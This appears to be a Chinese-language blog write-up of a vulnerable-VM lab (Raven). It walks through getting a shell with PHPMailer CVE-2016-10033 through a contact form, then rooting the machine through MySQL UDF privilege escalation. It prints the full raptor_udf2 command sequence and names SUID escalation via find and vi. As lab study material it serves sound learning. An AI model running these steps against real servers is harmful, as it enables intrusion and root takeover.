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<meta name="description" content="前言 这个靶机说实在话有点误导人，这个后面再说。但确实是一个好靶机，学到不少东西。  知识点  * cve-2016-10033  * linux平台udf提权  详细过程 信息搜集  1. 例行信息搜集           * 端口扫描                                      * 目录扫描                                发现ven">
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<meta property="og:description" content="前言 这个靶机说实在话有点误导人，这个后面再说。但确实是一个好靶机，学到不少东西。  知识点  * cve-2016-10033  * linux平台udf提权  详细过程 信息搜集  1. 例行信息搜集           * 端口扫描                                      * 目录扫描                                发现ven">
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<meta name="twitter:description" content="前言 这个靶机说实在话有点误导人，这个后面再说。但确实是一个好靶机，学到不少东西。  知识点  * cve-2016-10033  * linux平台udf提权  详细过程 信息搜集  1. 例行信息搜集           * 端口扫描                                      * 目录扫描                                发现ven">
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        <h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>这个靶机说实在话有点误导人，这个后面再说。但确实是一个好靶机，学到不少东西。</p>
<h2 id="知识点"><a href="#知识点" class="headerlink" title="知识点"></a>知识点</h2><ul>
<li>cve-2016-10033</li>
<li>linux平台udf提权</li>
</ul>
<h2 id="详细过程"><a href="#详细过程" class="headerlink" title="详细过程"></a>详细过程</h2><h3 id="信息搜集"><a href="#信息搜集" class="headerlink" title="信息搜集"></a>信息搜集</h3><ol>
<li><p>例行信息搜集</p>
<ul>
<li><p>端口扫描</p>
<p><img src="https://imgconvert.csdnimg.cn/aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3NyYXQxOTk5L1BpY3R1cmVzL21hc3Rlci8vaW1nL1NuaXBhc3RlXzIwMjAtMDEtMTRfMTctMDAtMTEucG5n?x-oss-process=image/format,png" alt></p>
</li>
<li><p>目录扫描</p>
<p><img src="https://imgconvert.csdnimg.cn/aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3NyYXQxOTk5L1BpY3R1cmVzL21hc3Rlci8vaW1nL1NuaXBhc3RlXzIwMjAtMDEtMTRfMjEtMDItNTEucG5n?x-oss-process=image/format,png" alt></p>
<p>发现<code>vendor</code>和<code>wordpress</code>目录（实际在测试过程中发现需要修改hosts文件<code>raven.local</code>,解析到本地搭建ip）</p>
</li>
</ul>
</li>
<li><p>vendor目录</p>
<p> <img src="https://imgconvert.csdnimg.cn/aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3NyYXQxOTk5L1BpY3R1cmVzL21hc3Rlci8vaW1nL1NuaXBhc3RlXzIwMjAtMDEtMTRfMjEtMDYtNTkucG5n?x-oss-process=image/format,png" alt></p>
<p> 这里其实泄露（提示）了很多信息</p>
<ul>
<li><code>PATH</code>文件 ===&gt; /var/www/html/vendor/</li>
<li><code>Readme.md</code>文件 ==&gt; 提示为phpmailer(第一次知道没啥感觉)</li>
<li><code>VERSION</code> ===&gt; 5.2.16看着像版本号</li>
<li><p><code>Security.md</code>就有意思了，内容如下</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"># Security notices relating to PHPMailer</span><br><span class="line"></span><br><span class="line">Please disclose any vulnerabilities found responsibly - report any security problems found to the maintainers privately.</span><br><span class="line"></span><br><span class="line">PHPMailer versions prior to 5.2.18 (released December 2016) are vulnerable to [CVE-2016-10033](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2016-10033) a remote code execution vulnerability, responsibly reported by [Dawid Golunski](https://legalhackers.com).</span><br><span class="line"></span><br><span class="line">PHPMailer versions prior to 5.2.14 (released November 2015) are vulnerable to [CVE-2015-8476](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-8476) an SMTP CRLF injection bug permitting arbitrary message sending.</span><br><span class="line"></span><br><span class="line">PHPMailer versions prior to 5.2.10 (released May 2015) are vulnerable to [CVE-2008-5619](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2008-5619), a remote code execution vulnerability in the bundled html2text library. This file was removed in 5.2.10, so if you are using a version prior to that and make use of the html2text function, it&apos;s vitally important that you upgrade and remove this file.</span><br><span class="line"></span><br><span class="line">PHPMailer versions prior to 2.0.7 and 2.2.1 are vulnerable to [CVE-2012-0796](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2012-0796), an email header injection attack.</span><br><span class="line"></span><br><span class="line">Joomla 1.6.0 uses PHPMailer in an unsafe way, allowing it to reveal local file paths, reported in [CVE-2011-3747](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2011-3747).</span><br><span class="line"></span><br><span class="line">PHPMailer didn&apos;t sanitise the `$lang_path` parameter in `SetLanguage`. This wasn&apos;t a problem in itself, but some apps (PHPClassifieds, ATutor) also failed to sanitise user-provided parameters passed to it, permitting semi-arbitrary local file inclusion, reported in [CVE-2010-4914](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2010-4914), [CVE-2007-2021](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2007-2021) and [CVE-2006-5734](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2006-5734).</span><br><span class="line"></span><br><span class="line">PHPMailer 1.7.2 and earlier contained a possible DDoS vulnerability reported in [CVE-2005-1807](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2005-1807).</span><br><span class="line"></span><br><span class="line">PHPMailer 1.7 and earlier (June 2003) have a possible vulnerability in the `SendmailSend` method where shell commands may not be sanitised. Reported in [CVE-2007-3215](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2007-3215).</span><br></pre></td></tr></table></figure>
<p>直接提示phpmailer历史版本漏洞，这里已经告诉我们phpmailer版本为5.2.16，所以存在<code>cve-2016-10033</code>。</p>
</li>
</ul>
</li>
<li><p>wordpress目录</p>
<p> 这里为wordpress的根目录。具体的信息搜集我就不展示了，无非使用wpscan,看一下版本</p>
<p> <img src="https://imgconvert.csdnimg.cn/aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3NyYXQxOTk5L1BpY3R1cmVzL21hc3Rlci8vaW1nL1NuaXBhc3RlXzIwMjAtMDEtMTRfMjEtMTgtMjEucG5n?x-oss-process=image/format,png" alt></p>
<p> 4.8.12，最近发布（唉早点看到就好了）为什么我要强调版本，是因为结合之前的信息搜集知道phpmailer存在<code>cve-2016-10033</code>,之后我在网上<a href="https://blog.csdn.net/csacs/article/details/86776080" target="_blank" rel="noopener">百度</a>到<code>wordpress+phpmailer</code>在<code>wprdpress</code>找回密码的页面可基于<code>cve-2016-10033</code>漏洞getshell。后来找了好多exp，试了好久都没成功。后来才发现靶机wordpress版本为4.8，漏洞应该已经修复。卒。看来后面还要更加细心，才能少走弯路。</p>
<h3 id="getshell"><a href="#getshell" class="headerlink" title="getshell"></a>getshell</h3></li>
<li><p>getshell</p>
<p> 确实存在cve漏洞，但真正能getshell的页面在<code>contact.php</code>。可以截包看到我们填写的信息被post到<code>contact.php</code>页面。</p>
<p> <img src="https://imgconvert.csdnimg.cn/aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3NyYXQxOTk5L1BpY3R1cmVzL21hc3Rlci8vaW1nL1NuaXBhc3RlXzIwMjAtMDEtMTRfMjEtMzAtMjcucG5n?x-oss-process=image/format,png" alt></p>
<p> 其实能够扫描到根目录存放着<code>contact.zip</code>。看一下源码。就是将我们的输入通过phpmailer发送到管理员邮箱。</p>
 <figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> (<span class="keyword">isset</span>($_REQUEST[<span class="string">'action'</span>]))&#123;</span><br><span class="line">	$name=$_REQUEST[<span class="string">'name'</span>];</span><br><span class="line">	$email=$_REQUEST[<span class="string">'email'</span>];</span><br><span class="line">	$message=$_REQUEST[<span class="string">'message'</span>];</span><br><span class="line">	<span class="keyword">if</span> (($name==<span class="string">""</span>)||($email==<span class="string">""</span>)||($message==<span class="string">""</span>))&#123;</span><br><span class="line">		<span class="keyword">echo</span> <span class="string">"There are missing fields."</span>;</span><br><span class="line">	&#125;<span class="keyword">else</span>&#123;		</span><br><span class="line">		<span class="keyword">require</span> <span class="string">'vendor/PHPMailerAutoload.php'</span>;</span><br><span class="line">		$mail = <span class="keyword">new</span> PHPMailer;</span><br><span class="line">		$mail-&gt;Host = <span class="string">"localhost"</span>;</span><br><span class="line">		$mail-&gt;setFrom($email, <span class="string">'Vulnerable Server'</span>);</span><br><span class="line">		$mail-&gt;addAddress(<span class="string">'admin@vulnerable.com'</span>, <span class="string">'Hacker'</span>);</span><br><span class="line">		$mail-&gt;Subject  = <span class="string">"Message from $name"</span>;</span><br><span class="line">		$mail-&gt;Body     = $message;</span><br><span class="line">		<span class="keyword">if</span>(!$mail-&gt;send()) &#123;</span><br><span class="line">			<span class="keyword">echo</span> <span class="string">'Message was not sent.'</span>;</span><br><span class="line">			<span class="keyword">echo</span> <span class="string">'Mailer error: '</span> . $mail-&gt;ErrorInfo;</span><br><span class="line">		&#125; <span class="keyword">else</span> &#123;</span><br><span class="line">			<span class="keyword">echo</span> <span class="string">'Message has been sent.'</span>;</span><br><span class="line">		&#125;</span><br><span class="line">	&#125;</span><br><span class="line">&#125;  </span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure>
</li>
</ol>
<ol start="5">
<li><p>搜索一下exp</p>
<p> <img src="https://imgconvert.csdnimg.cn/aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3NyYXQxOTk5L1BpY3R1cmVzL21hc3Rlci8vaW1nL1NuaXBhc3RlXzIwMjAtMDEtMTRfMjEtMzMtNTQucG5n?x-oss-process=image/format,png" alt></p>
<p> 需要修改脚本的target和backdoor</p>
<p> <img src="https://imgconvert.csdnimg.cn/aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3NyYXQxOTk5L1BpY3R1cmVzL21hc3Rlci8vaW1nL1NuaXBhc3RlXzIwMjAtMDEtMTRfMjEtMzctNTkucG5n?x-oss-process=image/format,png" alt></p>
<p> 执行后，监听设定端口和访问我们的后门文件，拿到shell</p>
<p> <img src="https://imgconvert.csdnimg.cn/aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3NyYXQxOTk5L1BpY3R1cmVzL21hc3Rlci8vaW1nL1NuaXBhc3RlXzIwMjAtMDEtMTRfMjEtNDAtMDAucG5n?x-oss-process=image/format,png" alt></p>
</li>
<li><p>需要多说一句的是cve-2016-10033的原理，其实并不难。主要是phpmailer组件调用linux系统命令sendmail进行邮件发送，通过传入的SERVER_NAME获取主机名，但过滤不严，导致可绕过正则，执行sendmail的命令行参数造成可写文件，产生webshell。具体更加详细的原理可参考。</p>
<ul>
<li><a href="https://blog.csdn.net/zhangpen130/article/details/103933875" target="_blank" rel="noopener">https://blog.csdn.net/zhangpen130/article/details/103933875</a></li>
<li><a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-10033" target="_blank" rel="noopener">http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-10033</a></li>
<li><a href="https://paper.seebug.org/161/" target="_blank" rel="noopener">https://paper.seebug.org/161/</a></li>
</ul>
</li>
</ol>
<h3 id="提权"><a href="#提权" class="headerlink" title="提权"></a>提权</h3><ol start="7">
<li><p>拿到shell后要查看的是wordpress的站点信息，因为getshell没用到wordpress。我们在wordpress配置文件找到mysql数据库密码和用户</p>
<p> <img src="https://imgconvert.csdnimg.cn/aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3NyYXQxOTk5L1BpY3R1cmVzL21hc3Rlci8vaW1nL1NuaXBhc3RlXzIwMjAtMDEtMTRfMjAtMzUtMDEucG5n?x-oss-process=image/format,png" alt></p>
<p> 登陆mysql数据库也没啥有用的。执行提权辅助脚本</p>
<p> <img src="https://imgconvert.csdnimg.cn/aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3NyYXQxOTk5L1BpY3R1cmVzL21hc3Rlci8vaW1nL1NuaXBhc3RlXzIwMjAtMDEtMTRfMjEtNTItMjYucG5n?x-oss-process=image/format,png" alt></p>
<p> 看到mysql以root权限启动，尝试udf提权。</p>
</li>
<li><p>搜索exp</p>
<p> <img src="https://imgconvert.csdnimg.cn/aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3NyYXQxOTk5L1BpY3R1cmVzL21hc3Rlci8vaW1nL1NuaXBhc3RlXzIwMjAtMDEtMTRfMjEtNTQtNDEucG5n?x-oss-process=image/format,png" alt></p>
<p> 这个比较新一点。用法其实在里面给定很详细了。</p>
 <figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line">Usage:</span><br><span class="line"><span class="meta">$</span> id</span><br><span class="line">uid=500(raptor) gid=500(raptor) groups=500(raptor)</span><br><span class="line"><span class="meta">$</span> gcc -g -c raptor_udf2.c</span><br><span class="line"><span class="meta">$</span> gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc</span><br><span class="line"><span class="meta">$</span> mysql -u root -p</span><br><span class="line">Enter password:</span><br><span class="line">[...]</span><br><span class="line"><span class="meta">mysql&gt;</span> use mysql;</span><br><span class="line"><span class="meta">mysql&gt;</span> create table foo(line blob);</span><br><span class="line"><span class="meta">mysql&gt;</span> insert into foo values(load_file('/home/raptor/raptor_udf2.so'));</span><br><span class="line"><span class="meta">mysql&gt;</span> select * from foo into dumpfile '/usr/lib/raptor_udf2.so';</span><br><span class="line"><span class="meta">mysql&gt;</span> create function do_system returns integer soname 'raptor_udf2.so';</span><br><span class="line"><span class="meta">mysql&gt;</span> select * from mysql.func;</span><br><span class="line">+-----------+-----+----------------+----------+</span><br><span class="line">| name      | ret | dl             | type     |za</span><br><span class="line">+-----------+-----+----------------+----------+</span><br><span class="line">| do_system |   2 | raptor_udf2.so | function |</span><br><span class="line">+-----------+-----+----------------+----------+</span><br><span class="line"><span class="meta">mysql&gt;</span> select do_system('id &gt; /tmp/out; chown raptor.raptor /tmp/out');</span><br><span class="line"><span class="meta">mysql&gt;</span> \! sh</span><br><span class="line">sh-2.05b$ cat /tmp/out</span><br><span class="line">uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)</span><br><span class="line">[...]</span><br></pre></td></tr></table></figure>
</li>
<li><p>执行过程中可能会报错，比如我，解决方法</p>
<p>  <img src="https://imgconvert.csdnimg.cn/aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3NyYXQxOTk5L1BpY3R1cmVzL21hc3Rlci8vaW1nL1NuaXBhc3RlXzIwMjAtMDEtMTRfMjItMDEtMTQucG5n?x-oss-process=image/format,png" alt></p>
<p>  <img src="https://imgconvert.csdnimg.cn/aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3NyYXQxOTk5L1BpY3R1cmVzL21hc3Rlci8vaW1nL1NuaXBhc3RlXzIwMjAtMDEtMTRfMjItMTgtMzEucG5n?x-oss-process=image/format,png" alt></p>
</li>
<li><p>此时可执行root命令，可使用一些suid提权，如<code>find</code>,<code>vi</code>等</p>
<ul>
<li><p>vi提权</p>
<p>  <img src="https://imgconvert.csdnimg.cn/aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3NyYXQxOTk5L1BpY3R1cmVzL21hc3Rlci8vaW1nL1NuaXBhc3RlXzIwMjAtMDEtMTRfMjItMjMtMzEucG5n?x-oss-process=image/format,png" alt="vi提权1"></p>
<p>  <img src="https://imgconvert.csdnimg.cn/aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3NyYXQxOTk5L1BpY3R1cmVzL21hc3Rlci8vaW1nL1NuaXBhc3RlXzIwMjAtMDEtMTRfMjItMjMtMzEucG5n?x-oss-process=image/format,png" alt="vi提权2"></p>
</li>
<li><p>find提权</p>
<p>  <img src="https://imgconvert.csdnimg.cn/aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3NyYXQxOTk5L1BpY3R1cmVzL21hc3Rlci8vaW1nL1NuaXBhc3RlXzIwMjAtMDEtMTRfMjItMjUtMTMucG5n?x-oss-process=image/format,png" alt="find提权1"></p>
<p>  <img src="https://imgconvert.csdnimg.cn/aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3NyYXQxOTk5L1BpY3R1cmVzL21hc3Rlci8vaW1nL1NuaXBhc3RlXzIwMjAtMDEtMTRfMjItMjUtMTMucG5n?x-oss-process=image/format,png" alt="find提权2"></p>
</li>
</ul>
</li>
<li><p>最后</p>
<p><img src="https://imgconvert.csdnimg.cn/aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3NyYXQxOTk5L1BpY3R1cmVzL21hc3Rlci8vaW1nL1NuaXBhc3RlXzIwMjAtMDEtMTRfMjItMjYtMTkucG5n?x-oss-process=image/format,png" alt></p>
</li>
<li><p>一点总结</p>
<p><em>细心能少走很多弯路。有时候急于达到目的反而浪费时间，不如享受过程。还是那句话，快就是慢，慢就是快</em></p>
</li>
</ol>
<h3 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h3><p><a href="https://www.cnblogs.com/micr067/p/11405274.html" target="_blank" rel="noopener">https://www.cnblogs.com/micr067/p/11405274.html</a></p>
<p><a href="https://blog.csdn.net/zhangpen130/article/details/103933875" target="_blank" rel="noopener">https://blog.csdn.net/zhangpen130/article/details/103933875</a></p>
<p><a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-10033" target="_blank" rel="noopener">http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-10033</a></p>
<p><a href="https://paper.seebug.org/161/" target="_blank" rel="noopener">https://paper.seebug.org/161/</a></p>

      
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